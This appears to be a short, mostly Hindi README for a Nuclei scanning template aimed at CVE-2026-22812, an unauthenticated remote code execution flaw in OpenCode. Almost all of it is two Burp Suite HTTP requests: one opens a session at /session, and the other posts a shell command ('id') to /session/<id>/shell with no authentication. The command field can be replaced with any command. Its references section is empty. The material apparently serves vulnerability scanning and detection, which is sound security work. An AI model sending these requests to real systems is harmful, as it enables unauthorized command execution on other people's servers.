CVE-2026-22812

CVE-2026-22812 - OpenCode अनधिकृत RCE स्कैन के लिए Nuclei टेम्पलेट।

burp suite अनुरोध

POST /session HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Content-Type: application/json
Content-Length: 2

{}

POST /session/"id"/shell HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Content-Type: application/json
Content-Length: 44

{
  "agent": "build",
  "command": "id"
}

🔗 संदर्भ: